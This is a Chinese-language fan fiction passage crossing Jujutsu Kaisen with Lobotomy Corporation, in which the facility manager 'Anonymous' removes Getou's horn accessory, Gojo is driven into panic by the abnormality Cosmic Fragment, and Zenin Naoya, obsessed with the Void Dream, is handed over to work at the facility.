她不用回头就知道是莱茵哈特在叫她,可是这个语气怎么回事?
她们现在已经不是天天挣扎在生死线上,为了公司的能源发光发热的员工了。
略微发力便跳得极高的克洛伊成功让雨伞柄部,那只来自“伊利亚”的手握住了空虚之梦的角,下面只需要慢慢的……慢慢的把祂牵下来就可以了。
夏油杰跟在黑发少年身后进了房子,就看到了刚刚发生的一幕。
说实话,眼前的场景着实有些荒诞。
至于另外一位正拿着一只网兜,看样子是那位橘发的小姐一将“羊”拿下,就会把祂套在里面的颓废青年则是一个哆嗦,下意识直接立正。
啊!是主管!
莱茵哈特对这位掌控着他们生杀大权的上司,一直持有畏惧心态,就算主管现在的年龄还算是个孩子,他也害怕。
克洛伊前辈!别抓羊了!主管回来了!!
“哇哦。”五条悟发出了一声意味不明的感叹,看她看到了什么?
这两个正在抓羊的一男一女,与名为安诺恩的少年是一样的,他们是同类。
与自己身边的奇怪刘海相比,那两个“不明生物”身上类似的装饰更多了,不仅仅是头部,就连身上也杂七杂八的佩戴着类似的东西。
也许是他的视线过于明显,克洛伊也发现了不对劲,更别提刚刚一直说个不停的莱茵哈特现在一言不发。
与还算新人,只是外表长的比较着急的莱茵哈特不同,克洛伊是从上层部门一路被调到下层的真·资深老员工。
如果说莱茵哈特对主管过度的反应是因为恐惧,那么她就是绝对的盲从。
五条悟和夏油杰围观了一场经典的变脸大戏。
橘发的女性在不到一秒钟的时间里,完成了从看上去马上就要打人的不耐表情,丝滑的切换到了忠!诚!
“安诺恩大人,您回来……这两位是?”
手里还握着那把正握着羊角的长柄伞的女性疑惑的看向了两个陌生人。
这还是今年第一次主管带回来了同龄的陌生人,对,人,其他的不算。
可是比起外貌更为出众的五条悟,她的注意力却更多的放在了夏油杰身上,或者说他的“角”上。
她可以看到自己头上的角,夏油杰明了。
克洛伊看着疑似新员工的家伙头上的迷魂梦境,一时不知道这是什么情况。
主管打算新招员工吗?
不过这件事情并不需要她这样的普通员工来操心,更何况她也不属于记录部。
“我带他去把饰品取下来。”
X示意夏油杰跟他走,地下室有专门的操作室。
毕竟这个东西不能空手硬拽下来,就算夏油杰现在去医院检查,得到的结论也是他的头骨与羊角长在了一起。
五条悟手插着兜,晃晃悠悠的跟在他们后面,夏油杰可能没注意到,但是他可以感受到那个橘发女性看智障的视线。
就好像玩游戏时,高玩看到萌新扔掉了增益装备一样……
那个不含咒力的角有什么特殊作用吗?
……
这不对吧?!
两名高专学生跟着这个据说要带他们去地下室的少年,一路向下,向下,再向下。
“我说,安诺恩君。”夏油杰弱弱开口。
“怎么了?”X问。
“你不是说带我们去地下室吗?为什么这么久了还没有到。”
要知道,这里可是电梯啊!去地下室坐电梯就已经足够奇怪了,可是这个电梯一路下行,下行个没完没了,难不成他们要去地心吗?!
而且……电梯的显示屏幕上只有鲜红色的电子数字在不断变换着,那个字数似乎是米数……他们难不成其实是乘坐了前往地狱的电梯吗?!
“地下室不都是这样的吗?”X觉得他们两个的反应很奇怪。
某种意义上,见识很少的五条悟都被这个离谱的发言给震撼到了。
难不成,这个成分不明,大概率不是人类的家伙,没见过常规意义上的地下室?!
终于,叮的一声,电梯停下了,门外是充满未来科技风的金属制走廊。
夏油杰作为一个普通人长大,他当然和同学们一起去看过那些科学怪人相关的电影。
所以,当电梯门打开之后,他就陷入了沉默。
已知,这里是不知道多深的地下,其次,这里疑似是科学怪人的老巢,再然后,安诺恩君显然在某些方面的常识异于常人……
从小到大都被父母及社会教育的很好的夏油同学眯起了他狭长的眼睛。
这里有问题,安诺恩君怕不是从小就被科学怪人给拐走了!所以才被养成这个样子!
这时一个长得人畜无害,但是在夏油杰眼中怎么看怎么不像好人(重音)的灰发青年迎了上来。
“老师,您回来了,这位就是克洛伊说的那个不想要饰品的孩子吗?”灰发青年的语气平和。
可是他对于黑发少年的称呼是在过于奇怪了。
无论怎么看,这个人都明显比正在和他交谈的金眼镜少年大上好几岁。
“他们在玩什么奇怪的play吗?”五条悟摸着下巴,看着那两个“成分”十分相似的人。
“五条同学,这么说太失礼了!”夏油杰被五条悟的惊天发言吓了一跳,这个白毛到底在说什么啊!
“万一安诺恩君真是那位先生的老师呢……”越说到后面,夏油杰的声音越小,他自己也有点不信。
毕竟那个正在对他们介绍自己,名叫本杰明的先生,看起来不像是那种会瞎认老师的那种人。
“嗯?你们在好奇我为什么要叫那位先生老师吗?”
灰发青年站在二人的身侧,看着自己重新长大的老师正在那里翻拿下饰品所需要的工具。
“毕竟,老师就是老师啊。”他笑了笑,说到。
“完全是无效回答嘛。”五条看着去帮黑发少年
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的本杰明,觉得自己被耍了。
*
夏油杰很快便无角一身轻,只是他敏锐的发现了有什么不对劲的地方。
他的咒力变少了,不,准确来说,他的咒力本来就应该那么多,只是之前在经历了那件事情之后,突然变多了才对。
“安诺恩君,那对角,是咒具吗?”夏油杰摸了摸自己空无一物的额角,莫名有些不舍。
像是被触发了什么关键字,X总觉得自己好像在哪里听过咒具这个词。
就在他回忆是在哪里听过的时候,本杰明给出了确切的时间。
“老师,在您八岁那年,一无所有不是叼过一把刀回来吗?我想夏油君说的就是那个。”
“那个啊,”彻底想起来的X拎着手上的“迷魂梦境”否认道,“这个不是咒具,你想要咒具吗?我这里留着没用。”
言下之意就是,夏油杰要的话,可以拿走,他这里正好攒了一堆被“小精灵”带回来的奇怪东西。
他像是和这些奇怪的物品不兼容一样,这些东西里面蕴含着一种奇怪的能量,不同的“咒具”蕴含着不同浓度的能量,他下意识按照异想体来分级了。
虽然那些东西还没有饰品有用,总之就是一种没用在那里堆着的状态。
“一无所有?”
“啊,我的小精灵叫这个名字。”
五条悟自从进了这里,就将自己的小圆眼镜揣到了口袋里,现在他是真正的将这里的一切都收入眼底。
“五条君,你最好戴上眼镜。”笑眯眯的本杰明不知道什么时候走到了五条悟的身边,轻声说。
他知道他,五条家的六眼神子,拥有一双可以看透世界的眼睛,可是在这里,看透一切可不是什么好事。
真心为了孩子的健康着想的本杰明劝到。
五条悟看着这个笑眯眯的灰毛男,总觉得他话里有话。
“你知道老子?你是咒术师。”前面还是疑问,可后面,五条悟的语气堪称笃定。
不知什么时候,一高一矮的两个黑发少年已经越走越远,这里只剩下了他和眼前的灰发人。
“确切来说,我并不是咒术师,我只是一个略微对咒术界有着一些了解的普通人罢了。”
本杰明感受着那对被这个世界的咒术师们奉若珍宝的眼睛所投出的视线,他知道,眼前的六眼在用“你骗傻子呢”的目光看着自己。
可是他说的确实是真话,他只是一个普通人,大众含义中,在街上一抓一把的普通人。
“有些时候,知道太多并不是一件足够愉快的事情。”
这是一句意味不明的话,不知道是说五条悟,还是说本杰明自己。
五条悟正打算说些什么,却见一个奇形怪状的东西,正乱七八糟的朝自己前进。
仅仅是看了一眼,他就觉得脑子被人揪了出去,甚至被扔进了滚筒洗衣机,捞出来之后还被人踹了两脚。
“所以,我说过了啊,最好还是带上你的眼镜。”
在意识彻底消失之前,五条悟听到了谜语灰毛男的一声轻叹。
6. 宇宙碎片
夏油杰并不知道自己的小伙伴毫无防备地,被某个只是单纯散步的“儿童涂鸦”给谋害了。
他只知道,他看到了堆成小山的咒具。
“你需要什么自己挑。”
夏油杰眼前的咒具库存量堪比御三家忌库,而它们的主人这样说着,像极了班上女生看的少女漫画中,有钱人家大少爷甩支票的模样。
不,他们家好像确实是有钱人家,夏油杰想到了这一路上看到的那些穿着统一制服的人,看到黑发少年之后,立刻噤声的模样,不由得点了点头,还是家教很严的大少爷。
“大少爷”看着这堆咒具,突然看到了一个不应该出现在这里的家伙。
那是一个被盛放在透明容器中的绿色液体,罐中液体只剩下了一半。
这是脑啡肽,准确来说,是被人藏起来的脑啡肽。
储存咒具的这个仓库,不仅长期没人进入,而且没有监控设备,是名副其实的监控死角。
有一个人,看准了这一点,将脑啡肽藏在了这里。
是谁呢?好难猜啊……
不用猜了。
因为有一个哼着歌,看起来心情好的不得了的绿毛推开了门。
领带打的松松垮垮,脸上还带着些红晕的某一个人,推开门后径直对上了一双金色的眸子。
心脏骤停!
等看清人后,差点被吓死的乔凡尼才长舒一口气,吓死他了,他还以为是安吉拉,结果是主管啊。
X看着醉鬼,醉鬼看着X。
X把半罐脑啡肽拿了起来,醉鬼的眼睛也跟着脑啡肽移动,最后,他的视线落到了X的口袋上。
不会骂他的金色眼睛拥有者,把他的脑啡肽没收了!没收了!
“啊!”醉鬼发出了痛苦的声音,他好不容易才弄到的脑啡肽!
乔凡尼一败涂地。
他并不会对X的行为提出异议,这是从之前就约定好了的事情。
因为在现在的这种情况,无论是部长,还是员工亦或者是文职,使用脑啡肽都是禁止的事情,当然,这是在明面上。
他知道,这是给他的缓冲期,所以他小心小心再小心,结果还是被发现了。
再见了,他心爱的脑啡肽,他已经无处去搞第二罐了……还是啤酒好,啤酒永远不会背叛他。
“他还好吗?”
虽然不知道发生了什么,但是那位绿头发先生的表情实在是见者伤心,闻者落泪,五好少年秉承着人道主义的精神还是问了一嘴。
乔凡尼这才发现,这里居然还有一个人。
“啊……他是?”
刚刚还瘫倒在地的乔凡尼,揉了揉自己的头发,坐了起来,他没想到这里还有别人。
在主管面前可以倒下,但是在外人面前还是算……真的,这人谁啊?
“你好,我是夏油杰。”
莫名其妙变成了握手现场的二人,你看看我,我看看你,场面突然尴尬。
打破尴尬局面的是火急火燎跑过来的文职:“不好了,主管!”
因为事情过于紧急,他下意识说出来最熟悉的称谓,不过他也管不了那么多了。
“您带回来的那位白头发的先生恐慌了!”
恐慌?白头发应该是五条悟,他恐慌了?
按照字面意思,夏油杰觉得他是被吓到了,可是谁能吓到他?
X疑惑的看着眼前扎着小啾啾的年轻男人,他记得今天把某个不可名状的家伙,外加某个浑身都是翅膀的白色扑棱蛾子都收起来了啊?
“他看到什么了?”
名字是简单编号的beta53面色复杂:“他看到了宇宙碎片。”
“啊?”金眼睛的少年发出了疑惑的气音,他什么都想到了,就没想到宇宙碎片,那团涂鸦是怎么把人弄到恐慌的?
“不对,”beta53像是突然想到了什么,语气迫切,“在那附近的员工完全打不到他!”
“也不是免疫伤害……而是碰不到他,就好像有一层空气完美的包裹住了他。”
……
“真的碰不到。”
X站在不远处,看着好几个员工拿着可以恢复精神值的武器,却没有一个人可以碰到他。
“罪魁祸首”有些局促的晃着祂的“脑袋”站在X的身边,有缩成一团的趋势。
宇宙碎片只是很单纯的出来遛弯,就在祂一边溜溜哒哒,一边摇头晃脑的唱歌,那个可恨的家伙突然就发疯开始打人,不对,打异想体了!!
夏油杰看看那边正在被“围攻”的五条悟,又看看这边这团似乎正在发出断断续续的声音,疑似在抱怨的……宇宙碎片?似乎是叫这个名字,颇有些头疼。
这到底是怎么回事啊?为什么五条悟只是看了一眼这个行走的涂鸦就疯掉了啊?!
“夏油君,”X拍拍正在嘀嘀咕咕讲五条悟坏话的宇宙碎片,问夏油杰,“你知道五条君这种状态是怎么回事吗?”
毕竟他们两个是一起来的,他应该知道这是一种什么状态吧。
很遗憾,夏油杰还真不知道,他们也是今天第一次认识啊。
可这时,拥有着神奇知识的宇宙碎片却表示自己知道:
「无限……距离趋近于……无法触碰……」
虽然说的颠三倒四,但是也能让人听懂祂的意思。
“夏油君,你说,五条君现在像不像一把锁,他自己是盒子中的宝物,那一层无法触碰到的距离就是盒子上的锁。”
这是什么奇怪的比喻?不过……他说的好有道理。
“安诺恩君,那你有什么开锁的办法吗?”
“我没有,但是有一个人有。”
……
“真是任性啊……”开锁工具人面色倦怠,就为了这种事情将她唤醒。
睡眠不足的开锁专精Binah女士一个妖灵过去,五条悟无意识中运行的“无下限术式”便像是一层脆弱的泡泡那般,啪的一下,整个破碎了。
几乎是瞬间,因为乱看,导致直面了“宇宙在向他歌唱”的五条悟的精神条就在乱七八糟的围殴下恢复到了满值。
可是,白发少年的后续反应却很奇怪,他不像其他恢复精神值的人那样恢复正常,而是捂着自己的头,一副痛苦的样
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子。
宇宙碎片要是有头发的话,祂的头发都要被气得竖起来了。
干什么!干什么!碰瓷是不是?!
刚刚祂被一个“苍”打到脸上的时候,都直接被“打死”了!
现在这个白毛的精神值都恢复了,还在这里演什么?!
格外清晰的嗡鸣声从宇宙碎片身上传来,夏油杰疑惑的看了过去,却发现祂整个涂鸦都膨了起来,就像是一只炸毛的猫一样。
刚刚夏油杰插不进去,围着五条悟的人太多了,现在他刚要去查看情况,却被X一把拽住了。
也是这一下,让夏油杰发现了不对劲,他的力气和见到子取箱的那天完全不一样,他现在像是一个普通人,只要自己轻轻一挣便可以获得自由。
联想到那个疑似拥有增强咒力功效的羊角……果然,他那天穿的那身类似于蝴蝶先生的那一身衣服,也有类似的效果。
“夏油君,你等一下再过去。”身体素质大幅度下降的少年这样说着,而后像堆圣诞树上的装饰一样,丁零当啷的给他挂上了一堆奇怪的东西。
“好了,去吧。”
莫名感觉自己变成了宝O梦大师的神O宝贝的夏油杰:“……”
这种去吧!皮O丘!的语气是怎么回事?
突然失去紧迫感的夏油杰带着一身乱七八糟的东西,乱七八糟的去了。
不知道是不是感受到了有人接近,五条悟的眼睛无意识地睁开,原本还有些迷茫的脑子一下子清醒过来。
这是什么东西?!
透过一条狭窄的缝隙,五条悟看到一个身上挂满不明物质的家伙正在朝着他快步走来,无论是六眼还是他身为人的直觉都看不出来这家伙的本体。
这还是个人吗?
可恶,头好痛,刚刚直视那团鬼东西的后遗症还在折磨着他,耳边似乎依旧传来那个鬼东西的低语。
祂在说着:「碰瓷的坏东西?!」
碰瓷的坏东西?这是什么奇怪的话?为什么他会听到这种莫名其妙的怪话?
员工在将他的精神值回满之后,还很贴心的把他的特制小圆眼镜给他架在了鼻梁上。
也就是说,他现在的视野本质上是一片漆黑的。
“五条君!你还好吗?”那个奇怪的“圣诞树”发出了有些耳熟的声音,好像是今天新认识的那个奇怪刘海……
“我是奇怪刘海还真是抱歉啊!”夏油杰咬牙切齿的说。
五条悟这才发现他无意识把自己心中所想给说出去了。
“老子今天真是见鬼了……”他支起身,却发现自己耳边的呢喃声还未消失,依旧在碎碎念着他是一个坏东西。
夏油杰看着他又要开始左右看,连忙一把按住了他:“五条君,你千万不要到处乱看了!”
再看,那团涂鸦就要被气死了!
“你忘了吗?刚刚,你把祂给打死了……”夏油杰小小声的说。
“老子那是正当防卫好不好。”五条悟理直气壮。
“可是是你自己到处乱看啊!”
“切,不过,老子好像学会了了不得的东西!”
7. 空虚之梦
五条家得到了一个从天而降的好消息,他们的神子,已经从五条悟,进化成了五条悟promax!
神子大人他会反转术式了!
虽然怎么会的他们不知道,头发花白的大长老欣慰的拿着自己的小手绢,他们悟君,长大了。
“你那是什么恶心的表情。”
姑且回家一趟,弄明白自己身体状况的五条悟看着自己面前鼻涕一把泪一把的老头子,有些嫌弃的说。
“不过……悟君,你和爷爷说,你到底看到了什么?”
算得上这个家里年纪最大,见识也最多的大长老总觉得自家孩子的眼睛好像有一点点不太对劲。
明明上学之前还是那种如晴空般清透的颜色,现在总给他一种晦暗的幽深感,就像是透过天空,直面宇宙一样。
“我说,老头,”五条悟看着自己面前的大长老,问出了困扰在自己心里的问题,“你见过身体里完全没有咒力的人吗?”
六眼独特的视野让他可以看到常人看不到的东西,他在安诺恩身上完全没有看到任何一点咒力,他整个人都是另外一种物质组成的。
五条悟看着大长老脸上一闪而过的惊讶,看来他知道。
“悟君是见到了禅院甚尔吗?他是一个完全没有咒力的天与咒缚。”
“那是谁?”
“一个……”大长老试图组织语言,组织失败,他转头向外面等候的侍女道,“去把之前通缉他的资料拿过来。”
大长老指着那个面相凶恶的男人照片说:“就是他。”
五条悟看着一拳能打死三个安诺恩的男人照片,一时有些沉默。
“算了,我回学校了。”
反正他的身体已经没有问题了,再在五条家呆着也没有意思,撤了撤了。
侍女与大长老你看我我看你,大长老挠了挠自己没剩几根毛的脑壳:“难不成悟君见到了其他的天与咒缚?”
侍女只是安静的撤走了那张照片,留他自己在这里冥思苦想。
*
X正在为子取箱进行最后的拼装工作,伴随着最后一块木板被分解殆尽,黏糊糊的子取箱将自己“容器”的最后一点粉末彻底吞噬进身体。
咕叽咕叽的声音响起,原本还算得上平静的史莱姆状咒灵突然开始变换身形。
溶解之爱贴在玻璃上,“眼睛”一错不错的盯着室内,祂也想知道这个像是祂衍生体的小东西最后能变成什么样子。
出乎X的预料,在一切归于平静之后,出现在这里的并不是一团完整形态的史莱姆,而是一个有些眼熟的小姑娘。
除去“她”依旧可以像是凝胶物质一样的双眼,光看外表“她”几乎与那天他看到的,倒在血泊里的小姑娘一模一样。
唯一不一样的是,“她”头上的蝴蝶结是纯洁的白色,“她”身上甚至还披着他那天用于遮盖的圣宣外套。
溶解之爱黏糊糊的贴在了“三田静”的脸上,属于人类女性的“脸”上写满了好奇。
“妈……妈!”
溶解之爱一把把小姑娘抱住,美滋滋的举过“头顶”,这是一个不会感染,而且会回应祂的同类!
好诶!
莱茵哈特觉得不太好。
他是不是看见溶解之爱不知道从哪里拐了一个人类小女孩?!
“克洛伊前辈啊!!”他的声音在被克洛伊一个肘击之后消失在他的嗓子里。
“蠢货,你自己看,那不是主管刚刚带进去的子取箱吗?”
“啊?”他扶正了自己的眼睛,仔细看了一下,看到了那双鲜红色,呈现胶质状的眼睛,讪讪笑着,试图走开。
“你先别走,有人来了,去开门。”克洛伊指了指大门。
弱气的青年刚一拉开门,就被面前的人啧了一下。
“真是没有教养,居然过了这么久才来开门,那个家伙呢?”
穿着这个国家传统服饰的黄发少年挑着眉,不满地问。
莱茵哈特被噎了一下:“请问您找谁?”
“你又是谁?”禅院直哉斜了一眼这个一点都没有男子气概的家伙。
禅院直哉在家里冥思苦想,最后终于想起来了,他不是自己睡着的,是一只咒灵,一只被东京高专的那个家伙抱着的,羊一样的咒灵让他睡着的。
那,是不是只要他拥有那只咒灵,他就可以重新拥有这场美梦?
结果,那只咒灵却不是夏油杰的,而是那个扇了自己一巴掌的那个混蛋的。
正好新仇旧恨一起算。
于是他来了,要是那个该死的混蛋不乖乖把咒灵双手奉上,就别怪他动手了。
这次可不同于上次,这次他已经有了防备,不会那么轻易的就被放倒了。
并不知道五条悟在这里倒下的禅院直哉充满自信。
莱茵哈特挠挠头,所以他到底找谁啊?
“怎么开个门这么慢?要是推销报纸的就……”
克洛伊见莱茵哈特迟迟未回,便将手里的食物放在了小白鸟的面前,确认祂可以自己进食后,走到了门口。
“……说我家已经订了,您是?”
克洛伊飞快的打量了一下这个黄毛,在确定他不是来卖报纸的之后,飞快改口。
禅院直哉更不屑了,女人和弱气的男人,而且……这两个人都是普通人,他们凭什么拥有那只咒灵?!
注意到了禅院直哉的表情,克洛伊原本已经露出微笑的脸也冷了下来。
“您来这里的目的是什么?如果您不是被那位大人邀请而来,请您现在立刻离开。”
不会吧?不会真的有人回来找茬吧?
莱茵哈特很想给禅院直哉拍一张照片,底下写着,敢挑战世界之翼的勇者之类的话。
不过要是他真的贴了,怕不是那张照片连带着他自己都会被克洛伊前辈扔进垃圾桶。
“我来找他。”禅院直哉无意与两个普通人纠缠太久,与他们说的每一句话都让他觉得难以忍受,区区普通人,居然还敢拦他的路。
他拿出了一张照片,克洛伊一眼就认出来这是一张偷拍的照片,而主角则是他们的主管。
“看来您是不会好好说话呢。”克洛伊脸上重新挂起了笑。
真是找死。
莱茵哈特的脸也沉
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了下来,毫无疑问,这是来挑衅的。
禅院直哉惊讶的发现,这两个普通人似乎是想要与自己动手,两个不自量力的家伙。
面带笑意的橘发女性手一伸,不知道从哪里掏出来一把刀刃鲜红的长刀,径直朝着禅院直哉劈了下去。
克洛伊刚劈下去就发了不对,手感不对,果然刀下空无一物,她劈空了。
长期徘徊于生死之间的直觉在向她示警,有什么东西要来了!
“居然躲过了吗?”禅院直哉惊讶的看着与自己蓄满力度的拳头擦过的克洛伊。
怎么可能?!
砰的一声轻响,是枪响,真是可笑,普通人也就会使用这种武器……了?
剧痛从禅院直哉的背后传来,他不敢置信的回头,站在那里的弱气青年手中拿着一杆类似来福枪的枪械。
他甚至都没瞄准自己?!
这是生平第一次禅院直哉的投影术法完全没有用处,不仅没有击打打敌人,甚至连子弹都没有躲过去!
“你们在这里折腾什么呢?这么吵?”
一个正在收拾实验室,结果被吵到的X夹拿着自己刚从地板上捡起来的小鸟问。
“啊,是你啊,你怎么找过的?”
X看了看如临大敌的员工二人组,以及正在流血的,因为自己疏忽睡了很久的……禅院君,应该是这个名字没错。
“咒灵……你为什么还有别的咒灵?”
禅院直哉一眼就看出来了,被X拿在手里的小鸟也是咒灵,这不是一只普通的鸟。
X总觉得禅院直哉的语气有些奇怪:“我不能有吗?”
怎么感觉这位禅院君的精神状态不是很好……
坏了,好像真是自己的锅,他当时叫醒那群人的时候,只有禅院直哉对梦境恋恋不舍。
这孩子怕不是留下后遗症了!
突然心虚的X示意两个目露凶光,眼看着就要把禅院直哉剁成臊子的员工把武器收起来。
“可是,主……安诺恩大人!他试图对您不利!”莱茵哈特下意识说。
可是克洛伊已经将武器收起来了,他也只能将黄蜂收了起来。
“所以,你来这里有什么事情吗?”X将小鸟放在了茶几上。
“我要再做一次梦,把那只羊给我!”
不是X的错觉,禅院直哉在经历了梦境中的完美人生后,对现实中的生活已经完全无法忍受了。
身为咒术师的他甚至没有发现自己这种明显被某种存在持续影响着精神。
X望着禅院直哉有些震颤的眼球,以及眼底的青黑,拒绝了他。
“不,你不能再见祂了,这是我的错,我可以补偿你,除了那只羊以外你还有什么想要的吗?”
“我只要祂!我只要祂,让我再见见祂吧……”
莱茵哈特很不放心让那个家伙与主管共处一室,所以看X没有明显驱赶意图,他就留了下来。
禅院直哉的状态说实话有一些眼熟,他的理智像是离家出走了,他在脑叶公司还存在的时候,没少见到这种状态。
简而言之,他被空虚之梦迷住了。
8.禅院直哉
在不知道第多少次把那个试图潜入公司的黄毛打走后,莱茵哈特双目无神的瘫倒在地。
“克洛伊前辈,我能不能让空虚之梦把这家伙送走。”
永远地,永远地消失在这个世界上的那种送走。
“你在说什么胡话呢?”克洛伊看热闹不嫌事大。
禅院直哉不知道有一个人想让自己消失,他只知道,他被他父亲发现了。
禅院直毘人居高临下的俯视着自己的儿子,现在他正被几个人按住,嘴里还不住的责骂着他们的僭越之举。
“该死的,你们怎么敢……”
“直哉,是那个人诅咒了你吗?”禅院直毘人捋了捋自己的胡子,看着自己从小备受宠爱的孩子。
直哉的反应过于奇怪了,这已经不是普通的沉迷,反而更像是一种执念。
只不过,当时不仅仅是他自己陷入了沉睡,那些同样被唤醒的人,可都正常的不像话。
只有他……只有直哉……难不成这是专门针对禅院主家血脉设下的诅咒吗?
也许……是时候亲自去一趟了,即便直哉再怎么娇纵和不成器,那也是他的儿子,他不会让他折在这么可笑的事情上。
“你们看好少爷。”禅院家主没有一丝醉意的视线在在场的人身上环视一周。
在得到了确定的回复后,快步离去。
“家主,您为何不让那个人前来拜访,而是屈尊前去?”随侍的禅院族人问。
他并不是很优秀的咒术师,但是他也可以看得出来,那个人,那个将直哉少爷打醒的少年,对咒术界的弯弯绕绕并不熟悉。
大概率只是运气好,觉醒了生得术式之后,又瞎猫碰上死耗子,搞到了一个咒灵的咒灵使罢了。
他估计还不如东京高专那个新入学的咒灵操使,凭什么让他们禅院家的家主亲自去拜访!
“不如我们像上次一样,邀请他来禅院家?”他建议到。
“不必了。”拎着一个小酒壶的禅院家主,晃晃悠悠的出了自家大宅。
……
又是熟悉的敲门声,莱茵哈特下意识握紧了手中的黄蜂。
他边考虑要不要一枪托砸到禅院直哉脸上,一边拉开了门。
结果门外的人并不是他预想的黄毛,而是黄毛他爸。
禅院直毘人也没想到,迎接自己的是一个紧急刹车的枪托。
“不好意思……您是?”莱茵哈特脸上挂着不自然的微笑,悄悄的把来福枪移到身后。
“嚯……难不成你们就是用这个来招呼我家不成器的小子的?”
不过……不是他的错觉,直哉的实力似乎变强了不少,就连反应速度也上去了。
禅院直哉最近经常身上青一块紫一块,看来弄不好就是被这个人打的。
被打使儿子进步……?某个还算溺爱孩子的老头心中一动。
和自家突兀上门的倒霉儿子不同,禅院直毘人可是真正的上门拜访,提前知会的那种。
*
“看来,老夫家那个不成器的小子给你添不少麻烦吧。”
“禅院君……很活泼。”
X略微斟酌了一下用词,当着对方父亲的面,说你家儿子在我家像野猪一样横冲直撞总归不太好。
禅院直毘人被这个安放在自己儿子身上的神奇形容词哽了一下,自从直哉出生,他还是第一次听到这个词和他的儿子联系到一起。
“老夫想知道,直哉身上到底发生了什么。”
寒暄结束之后,老者的目光一凛,直直的看向对面的与自己儿子年龄相近的少年。
“他身上的异状,是否是你故意为之?”
被比禅院家主逼问的少年没有任何不安的情绪,他依旧是那副表情,甚至更为平静。
“那是我的疏忽,按照你们的说法,禅院君的异状是受了咒灵的影响。”
X毫不避讳,那的确是他的责任。
“哦……”
禅院直毘人若有所思的看着大方承认的金眸少年,略微喝了一口自己带来的酒,突然扯开嘴大笑了起来。
“居然敢承认嘛!你不怕老夫向你问责吗?!”
说着,他用力一拍桌子。
砰的一声巨响过后,桌子毫发无伤。
“……嗯?”
用了三分力的禅院家主先是看了看完好的,连一个凹陷都没留下的桌子,又看了看自己的手掌。
他酒喝多了?这对吗?这什么桌子?!
有些尴尬的禅院家主选择再喝一口酒,端正了一下自己的坐姿,试图装作刚刚什么都没有发生。
“禅院先生,你没事吧。”X总觉得自己好像听到轻微的咔嚓声。
不会骨裂了吧?
“哈哈哈哈!”
某个老头突然放声大笑,边笑边不着痕迹的甩了甩自己绝对受伤了的手。
“我很欣赏你,”他的语气陡然一转,“所以,你能解决我家小子身上的异状吧?”
“您不插手的话,可以。”
只要禅院直哉够自律,他就可以不继续沉溺于梦境,但是前提是!
这个在掩饰自己尴尬的,绝对溺爱自己儿子的人,彻底放手,要不然禅院直哉绝对还会是原来的样子。
*
“所以,禅院直哉君,你父亲不要你了。”
黑发少年脸上写满了大资本家,他的手里拿着一张纸,纸上签着他爸爸的大名,禅院直毘人。
他爸爸把他给卖了。
而……价格那一栏,赫然写着,一张桌子!
他!禅院直哉!板上钉钉的下一任禅院家主!居然只值一张桌子?!
金发少年墨绿色的眼睛几乎要被他瞪得从眼眶里跳出来。
“这不可能!你这混蛋是不是用咒灵影响了爸爸!”
被打包塞过来的小少爷发出了尖锐爆鸣。
可是这里不是禅院家,没有人会惯着他,尤其是,为了他的命。
“部长,主管说的话是不是有哪里怪怪的?”
挑衅吗?不不不,他怎么可以这样揣测主管。
绿色长发的安保部部长久违的保持着清醒,站在一旁围观这场“爸爸不要你的大戏”。
按照X的意思,这个让人头疼的小少爷会被分到自己手底下,所以他来了。
不过,这个说法……该说不愧是他吗?
“主管应该是有他自己的想法吧。”
长相秀美,不出声甚至会让人认错性别的安保部部长,正悄咪咪的和自己
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员工说小话。
一个愤怒的金发少年突然暴起,被早作准备的克洛伊直接锤进了地板里。
呵,她今天可是将“正义”堆到了最高,这次还想躲开?
额头上肿着一个包,臭着一张脸的禅院直哉被领到了乔凡尼面前,更不高兴了。
让一个女人管着他?真是没有规矩,女人只要乖乖的跟在他身后就好了,更何况这种一看就病恹恹的家伙。
“区区一个……呃!”被克洛伊狠狠踹了一脚,感觉自己骨头都要碎了的禅院直哉不情愿的改了口:“部长。”
总有一天!总有一天!他要将这些冒犯他的混蛋碎尸万段!
*
禅院直哉第一次踏进了X口中的地下室。
金发少年有些呆滞,他管这里叫地下室?!
“祂往你那里去了!克洛伊!快拦住祂!新来的会死的!”远处有人喊着。
一条横冲直撞的鱼?那是鱼吗?反正是一条鱼形的咒灵正朝他们冲了过来。
而后,血,铺天盖地的血夹杂着肉块便撒了禅院直哉一身。
克洛伊死了,她一脚将禅院直哉踹进了还未完全合上的电梯中,而她自己则是被咒灵撞成了碎块。
这一幕对于生长在禅院家的禅院直哉来说,并不算多么出格,他只是不可置信,为什么克洛伊,那个女人会毫不犹豫的赴死?
……
“真是一群疯子!”
禅院直哉看着自己眼前明显不正常的人,只要那个人,那个人下达了命令,哪怕是随口一说,这些人都会无条件的去完成。
即便完成这件事会搭上他们自己的性命。
最关键的是,禅院直哉凝视着走廊的尽头,墨绿的瞳仁不自觉的颤动起来,她不是死了吗?
他还大肆嘲笑了那个愚忠的女人,那个名为克洛伊的橘发女人,她明明不久前才碎了一地!他身上现在还有着她的血!
可是那边正在那边,一脸若无其事和人交谈的橘发女性又是谁?!
这时,与克洛伊交谈的灰发青年向着她摆了摆手,转身目标明确的向禅院直哉走来。
“你就是老师说的新员工吧,我是记录部部长,你可以叫我本杰明。”
戴着眼镜,笑眯眯的灰发青年摇了摇手,唤回了禅院直哉的注意力。
“来,我们笑一下。”
也许是他的语气过于无害,脑子还没完全回过神的禅院直哉下意识扯了一下嘴角。
咔嚓一声,金发少年有点冒傻气的笑容就被本杰明手中的照相机完整拍下。
“好了,你可以去工作了。”说着,仅仅是来拍了一张照片的灰发青年态度突然冷淡,将禅院直哉留在原地,仅仅带着照相机离开了。
“莫名其妙……他是干什么的?”
记录部,拍照片的?这到底是一个什么奇怪的地方?
“地下室”的深处的深处,灰发青年扶了扶自己眼镜,将照相机中的照片洗出,塞进了一个档案袋里。
档案袋的名字是——禅院直哉。
他不同于其他的员工,他是这个世界的“土著”,不能通过光来进行“复活”,所以只能用老办法了。
记录部的时钟滴答作响,一如这里掌控的时间。
9.禅院直哉
禅院直哉的一天从尬聊开始。
现在他已经知道自己的“同事们”私底下都是怎么称呼安诺恩的了,他们都会叫他主管。
弄得和什么正规公司一样,严重怀疑自家老头是把自己卖到了什么诅咒师集团的禅院直哉腹诽。
总之,为了自己可以活的舒服一点,某位前·禅院家·大少爷的金发少年,心不甘情不愿的去聊天了。
不是他多么听话,是他一旦不听话,他的同事就会让他知道什么叫做黑心资本家的黑手帮凶。
肿着脸的禅院少爷拉开了一扇门,里面只有一个浮空的,被捆绑在金属十字架上的骷髅头。
